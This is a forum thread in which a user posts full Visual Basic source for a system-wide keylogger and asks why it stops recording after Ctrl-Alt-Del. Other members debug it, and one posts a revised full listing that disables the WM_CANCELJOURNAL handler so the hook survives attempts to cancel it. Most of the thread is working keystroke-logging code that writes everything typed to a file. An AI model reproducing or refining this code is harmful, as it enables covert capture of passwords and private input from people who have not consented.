Results 1 to 17 of 17

Thread: keylog problems....Serge, Hack, Stanich, SeaHag...I need the big boys on this one

  1. #1

    Thread Starter
    Hyperactive Member
    Join Date
    Oct 2001
    Posts
    256

    keylog problems....Serge, Hack, Stanich, SeaHag...I need the big boys on this one

    This keylogger works fine until ctrl-alt-del is pressed. Then it stops.

    If someone could pinpoint the lines that are causing the problem I would be most appreciative.



    In a command button:
    VB Code:
    1. Keylogger


    In a module:
    VB Code:
    1. Private Type EVENTMSG
    2.         message As Long
    3.         paramL As Long
    4.         paramH As Long
    5.         time As Long
    6.         hwnd As Long
    7. End Type
    8.  
    9. Private Type POINTAPI
    10.         x As Long
    11.         y As Long
    12. End Type
    13.  
    14. Private Type MSG
    15.     hwnd As Long
    16.     message As Long
    17.     wParam As Long
    18.     lParam As Long
    19.     time As Long
    20.     pt As POINTAPI
    21. End Type
    22.  
    23. Private Type CWPSTRUCT
    24.         lParam As Long
    25.         wParam As Long
    26.         message As Long
    27.         hwnd As Long
    28. End Type
    29.  
    30. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal length As Long)
    31.  
    32. Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
    33. Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
    34. Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
    35. Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
    36. Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
    37. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    38.  
    39. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    40.  
    41. Private Const WH_JOURNALRECORD = 0
    42. Private Const WH_GETMESSAGE = 3
    43. Private Const WH_CALLWNDPROC = 4
    44.  
    45. Private Const WM_CANCELJOURNAL = &H4B
    46. Private Const WM_KEYDOWN = &H100
    47. Private Const WM_KEYUP = &H101
    48.  
    49. Private Const VK_CANCEL = &H3
    50.  
    51. Private lHookID As Long
    52. Private lAppHookID As Long
    53.  
    54. Private sFile As String
    55. Public existing, password
    56.  
    57.  
    58.  
    59. Sub Keylogger()
    60.  
    61. On Error Resume Next
    62.  
    63.     'Only start one instance of this app
    64.     If App.PrevInstance Then Exit Sub
    65.    
    66.     'Allow the user to pass a File name/path to the App which will be used to store the keys
    67.     sFile = Command
    68.     If Len(sFile) = 0 Then sFile = "C:\Latest.txt"
    69.    
    70.    
    71.     If Len(Dir(sFile)) Then Kill$ sFile
    72.    
    73.     'Set an application hook to monitor for messages sent to this app
    74.     lAppHookID = SetWindowsHookEx(WH_GETMESSAGE, AddressOf GetMessageProc, App.hInstance, App.ThreadID)
    75.     'Set a system hook to monitor certain messages sent to other applications in the o/s.
    76.     lHookID = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, 0&, 0&)
    77.     'Wait whilst the hook is in place and the user hasn't canceled the operation. (CTRL + BREAK)
    78.     While lHookID And GetAsyncKeyState(VK_CANCEL) = 0
    79.         DoEvents
    80.     Wend
    81.     'Remove the System hook if necessary
    82.     If lHookID Then Call UnhookWindowsHookEx(lHookID)
    83.     'Remove the application hook
    84.     Call UnhookWindowsHookEx(lAppHookID)
    85.  
    86.    End Sub
    87.  
    88.  
    89.  
    90. Function GetMessageProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    91.     Dim tMSG As MSG
    92.    
    93.     If Code < 0 Then
    94.         'Pass the message along...
    95.         GetMessageProc = CallNextHookEx(lAppHookID, Code, wParam, ByVal lParam)
    96.     Else
    97.         'Grab the MSG structure
    98.         CopyMemory tMSG, ByVal lParam, Len(tMSG)
    99.         Select Case tMSG.message
    100.        
    101.         Case WM_CANCELJOURNAL
    102.             'An external process has requested us to stop this operation
    103.             Call UnhookWindowsHookEx(lHookID)
    104.             lHookID = 0
    105.    
    106.         Case WM_KEYDOWN, WM_KEYUP
    107.             If tMSG.wParam = VK_CANCEL Then
    108.                 'The user has canceled the operation (CTRL + BREAK)
    109.                 Call UnhookWindowsHookEx(lHookID)
    110.                 lHookID = 0
    111.             End If
    112.  
    113.         End Select
    114.     End If
    115. End Function
    116.  
    117.  
    118.  
    119. Function JournalRecordProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    120.     Dim tEVENTMSG As EVENTMSG
    121.     Dim bKeys(255) As Byte
    122.     Dim lAscII As Long
    123.     Dim iFile As Integer
    124.    
    125.     If Code < 0 Then
    126.         'Pass this message along...
    127.         JournalRecordProc = CallNextHookEx(lHookID, Code, wParam, ByVal lParam)
    128.     Else
    129.         'Grab the Event Message Structure
    130.         CopyMemory tEVENTMSG, ByVal lParam, Len(tEVENTMSG)
    131.        
    132.         Select Case tEVENTMSG.message
    133.        
    134.         Case WM_KEYDOWN
    135.             'Track Keypresses....
    136.             'Get the current state of the Keyboard (used to determine special keys)
    137.             Call GetKeyboardState(bKeys(0))
    138.             'Convert the KeyCode to its appropriate "Case Sensitive" AscII equivelant
    139.             Call ToAscii(tEVENTMSG.paramL, 0&, bKeys(0), lAscII, 0&)
    140.             'If it's avalid ASCII value, Log it.
    141.             If lAscII Then
    142.                 'Debug.Print Chr(lAscII);
    143.                 iFile = FreeFile
    144.                 Open sFile For Append As iFile
    145.                
    146.                 'if enter is pressed then a new line is saved
    147.                 If lAscII = 13 Then
    148.                 Print #iFile, Chr(lAscII)
    149.                 Else
    150.                 'if enter is not pressed then there is no new line
    151.                 Print #iFile, Chr(lAscII);
    152.                 End If
    153.                 Close iFile
    154.                
    155.             End If
    156.                 End Select
    157.    
    158.    
    159.    
    160.     End If
    161.    
    162.  
    163. End Function
    Last edited by ejy; Jun 27th, 2002 at 08:35 AM.

  2. #2
    Fanatic Member SeaHag's Avatar
    Join Date
    Jul 2001
    Location
    Lake Huron
    Posts
    901
    Whats keylogging?

    Seahag

  3. #3

    Thread Starter
    Hyperactive Member
    Join Date
    Oct 2001
    Posts
    256
    This is torture

  4. #4
    Fanatic Member SeaHag's Avatar
    Join Date
    Jul 2001
    Location
    Lake Huron
    Posts
    901
    tell me.. is this counter productive.??
    I cant get it to work.

    VB Code:
    1. sFile = Command
    2.     Debug.Print sFile
    3.     If Len(sFile) = 0 Then sFile = "C:\Latest.txt"
    4.    
    5.    
    6.     If Len(Dir(sFile)) Then Kill$ sFile

  5. #5

    Thread Starter
    Hyperactive Member
    Join Date
    Oct 2001
    Posts
    256
    Correction....create a folder before running the program, then change that line to read "C:\whateverfolder\latest.txt"

  6. #6
    PowerPoster
    Join Date
    Aug 2000
    Location
    IN SILENCE
    Posts
    6,441

    Well

    Running tests now...
    Remaining quiet down here !!!

    BRAD HAS GIVEN ME THE ULTIMATIVE. I have chosen to stay....

  7. #7
    Fanatic Member SeaHag's Avatar
    Join Date
    Jul 2001
    Location
    Lake Huron
    Posts
    901
    agreed...
    made the file first.. it erases it..
    and if i comment it out. nothing gets logged to it..
    it doesnt work for me.

    With your functions...... they have arguments. But when you call them you supply no arguments. maybe it has something to do
    with addressof thinggy.. ?? hope i learn something>>?

    Seahag..

  8. #8
    PowerPoster
    Join Date
    Aug 2000
    Location
    IN SILENCE
    Posts
    6,441

    Well

    I can't get it to even create the text file...
    Remaining quiet down here !!!

    BRAD HAS GIVEN ME THE ULTIMATIVE. I have chosen to stay....

  9. #9
    Frenzied Member Microbasic's Avatar
    Join Date
    Mar 2001
    Posts
    1,402
    OK, here's the problem with your program:

    VB Code:
    1. Case WM_CANCELJOURNAL
    2.             'An external process has requested us to stop this operation
    3.             Call UnhookWindowsHookEx(lHookID)
    4.             lHookID = 0

    When Ctrl-Alt-Delete is pressed, that "external process" requested that the application unhook the keyboard, therefore ending your keyboard hook.


    MicroBasic
    Dragon Shadow Trainer

    There is no good or evil in the world...only programmers and fools .

  10. #10
    PowerPoster
    Join Date
    Aug 2000
    Location
    IN SILENCE
    Posts
    6,441

    Well

    Originally posted by SeaHag
    agreed...
    made the file first.. it erases it..
    and if i comment it out. nothing gets logged to it..
    it doesnt work for me.

    With your functions...... they have arguments. But when you call them you supply no arguments. maybe it has something to do
    with addressof thinggy.. ?? hope i learn something>>?

    Seahag..
    I trieed this too. Same thing. It does not hang or anything. Just not recording, so to speak...
    Remaining quiet down here !!!

    BRAD HAS GIVEN ME THE ULTIMATIVE. I have chosen to stay....

  11. #11

    Thread Starter
    Hyperactive Member
    Join Date
    Oct 2001
    Posts
    256
    Sorry it is not working for you guys....but can you just eyeball the code and try to spot a logical reason for the problem?

    Microbasic...I thought that portion of the code was the culprit, too, but when I deleted it, I still encountered the same problem.


    I think that when ctrl-alt-del is pressed, the "DoEvents" is halted. Could this be?

    VB Code:
    1. While lHookID And GetAsyncKeyState(VK_CANCEL) = 0
    2.         DoEvents
    3.     Wend
    4.     'Remove the System hook if necessary
    5.     If lHookID Then Call UnhookWindowsHookEx(lHookID)
    6.     'Remove the application hook
    7.     Call UnhookWindowsHookEx(lAppHookID)
    Last edited by ejy; Jun 27th, 2002 at 10:03 AM.

  12. #12
    Fanatic Member SeaHag's Avatar
    Join Date
    Jul 2001
    Location
    Lake Huron
    Posts
    901
    i HAVE WINDOWS 2000 FYI

    Why do you not supply and arguments for your functions:
    GetMessageProc
    JournalRecordProc
    ie.

    VB Code:
    1. 'Set an application hook to monitor for messages sent to this app
    2.     lAppHookID = SetWindowsHookEx(WH_GETMESSAGE, AddressOf GetMessageProc, App.hInstance, App.ThreadID)
    3.     'Set a system hook to monitor certain messages sent to other applications in the o/s.
    4.     lHookID = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, 0&, 0&)
    5.     'Wait whilst the hook is in place and the user hasn't canceled the operation. (CTRL + BREAK)

    any explanation?

  13. #13
    Frenzied Member Microbasic's Avatar
    Join Date
    Mar 2001
    Posts
    1,402
    When I removed that code the hook continued on just fine...
    Ctrl+Alt+Delete shouldn't halt DoEvents...
    <?>


    MicroBasic
    Dragon Shadow Trainer

    There is no good or evil in the world...only programmers and fools .

  14. #14

    Thread Starter
    Hyperactive Member
    Join Date
    Oct 2001
    Posts
    256
    Whoa, Microbasic.

    The code is working for you just fine? It is logging text in a folder?

    Then, after you hit ctrl-alt-del, type some more, and peek inside your folder, all of your additional typing (post ctrl-alt-del) is there?

  15. #15
    Frenzied Member Microbasic's Avatar
    Join Date
    Mar 2001
    Posts
    1,402
    Actually, this should work:

    VB Code:
    1. Private Type EVENTMSG
    2.         message As Long
    3.         paramL As Long
    4.         paramH As Long
    5.         time As Long
    6.         hwnd As Long
    7. End Type
    8.  
    9. Private Type POINTAPI
    10.         x As Long
    11.         y As Long
    12. End Type
    13.  
    14. Private Type MSG
    15.     hwnd As Long
    16.     message As Long
    17.     wParam As Long
    18.     lParam As Long
    19.     time As Long
    20.     pt As POINTAPI
    21. End Type
    22.  
    23. Private Type CWPSTRUCT
    24.         lParam As Long
    25.         wParam As Long
    26.         message As Long
    27.         hwnd As Long
    28. End Type
    29.  
    30. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal length As Long)
    31.  
    32. Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
    33. Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
    34. Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
    35. Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
    36. Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
    37. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    38.  
    39. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    40.  
    41. Private Const WH_JOURNALRECORD = 0
    42. Private Const WH_GETMESSAGE = 3
    43. Private Const WH_CALLWNDPROC = 4
    44.  
    45. Private Const WM_CANCELJOURNAL = &H4B
    46. Private Const WM_KEYDOWN = &H100
    47. Private Const WM_KEYUP = &H101
    48.  
    49. Private Const VK_CANCEL = &H3
    50.  
    51. Private lHookID As Long
    52. Private lAppHookID As Long
    53.  
    54. Private sFile As String
    55. Public existing, password
    56.  
    57. Sub Keylogger()
    58.  
    59. On Error Resume Next
    60.  
    61.     'Only start one instance of this app
    62.     If App.PrevInstance Then Exit Sub
    63.    
    64.     'Allow the user to pass a File name/path to the App which will be used to store the keys
    65.     sFile = Command
    66.     If Len(sFile) = 0 Then sFile = "C:\Latest.txt"
    67.    
    68.    
    69.     If Len(Dir(sFile)) Then Kill$ sFile
    70.    
    71.     'Set an application hook to monitor for messages sent to this app
    72.     lAppHookID = SetWindowsHookEx(WH_GETMESSAGE, AddressOf GetMessageProc, App.hInstance, App.ThreadID)
    73.     'Set a system hook to monitor certain messages sent to other applications in the o/s.
    74.     lHookID = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, 0&, 0&)
    75.     'Wait whilst the hook is in place and the user hasn't canceled the operation. (CTRL + BREAK)
    76.     While lHookID And GetAsyncKeyState(VK_CANCEL) = 0
    77.         If GetAsyncKeyState(Asc("A")) <> 0 Then
    78.             UnhookWindowsHookEx lHookID
    79.             lHookID = 0
    80.         End If
    81.         DoEvents
    82.     Wend
    83.     MsgBox "Stopped"
    84.     'Remove the System hook if necessary
    85.     If lHookID Then Call UnhookWindowsHookEx(lHookID)
    86.     'Remove the application hook
    87.     Call UnhookWindowsHookEx(lAppHookID)
    88.  
    89.    End Sub
    90.  
    91. Function GetMessageProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    92.     Dim tMSG As MSG
    93.    
    94.     If Code < 0 Then
    95.         'Pass the message along...
    96.         GetMessageProc = CallNextHookEx(lAppHookID, Code, wParam, ByVal lParam)
    97.     Else
    98.         'Grab the MSG structure
    99.         CopyMemory tMSG, ByVal lParam, Len(tMSG)
    100.         Select Case tMSG.message
    101.        
    102.         'Case WM_CANCELJOURNAL
    103.             'An external process has requested us to stop this operation
    104.             'Call UnhookWindowsHookEx(lHookID)
    105.             'lHookID = 0
    106.             'BE SURE TO REMOVE ALL THREE LINES!!!
    107.    
    108.         Case WM_KEYDOWN, WM_KEYUP
    109.             If tMSG.wParam = VK_CANCEL Then
    110.                 'The user has canceled the operation (CTRL + BREAK)
    111.                 Call UnhookWindowsHookEx(lHookID)
    112.                 lHookID = 0
    113.             End If
    114.  
    115.         End Select
    116.     End If
    117. End Function
    118.  
    119. Function JournalRecordProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    120.     Dim tEVENTMSG As EVENTMSG
    121.     Dim bKeys(255) As Byte
    122.     Dim lAscII As Long
    123.     Dim iFile As Integer
    124.    
    125.     If Code < 0 Then
    126.         'Pass this message along...
    127.         JournalRecordProc = CallNextHookEx(lHookID, Code, wParam, ByVal lParam)
    128.     Else
    129.         'Grab the Event Message Structure
    130.         CopyMemory tEVENTMSG, ByVal lParam, Len(tEVENTMSG)
    131.        
    132.         Select Case tEVENTMSG.message
    133.        
    134.         Case WM_KEYDOWN
    135.             'Track Keypresses....
    136.             'Get the current state of the Keyboard (used to determine special keys)
    137.             Call GetKeyboardState(bKeys(0))
    138.             'Convert the KeyCode to its appropriate "Case Sensitive" AscII equivelant
    139.             Call ToAscii(tEVENTMSG.paramL, 0&, bKeys(0), lAscII, 0&)
    140.             'If it's avalid ASCII value, Log it.
    141.             If lAscII Then
    142.                 'Debug.Print Chr(lAscII);
    143.                 iFile = FreeFile
    144.                 Open sFile For Append As iFile
    145.                
    146.                 'if enter is pressed then a new line is saved
    147.                 If lAscII = 13 Then
    148.                 Print #iFile, Chr(lAscII)
    149.                 Else
    150.                 'if enter is not pressed then there is no new line
    151.                 Print #iFile, Chr(lAscII);
    152.                 End If
    153.                 Close iFile
    154.                
    155.             End If
    156.         End Select
    157.     End If
    158. End Function


    MicroBasic
    Dragon Shadow Trainer

    There is no good or evil in the world...only programmers and fools .

  16. #16
    Frenzied Member Microbasic's Avatar
    Join Date
    Mar 2001
    Posts
    1,402
    Well, I did coment out those three "culprit lines."

    Also, my additions were just debug code (since I'm running it in VBIDE, I can't use Ctrl-Alt-Delete, so I used the A key instead - you should remove that and the MsgBox "Stopped").


    MicroBasic
    Dragon Shadow Trainer

    There is no good or evil in the world...only programmers and fools .

  17. #17
    New Member
    Join Date
    Feb 2008
    Posts
    1

    Re: keylog problems....Serge, Hack, Stanich, SeaHag...I need the big boys on this one

    I dont how to use this code help me please

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width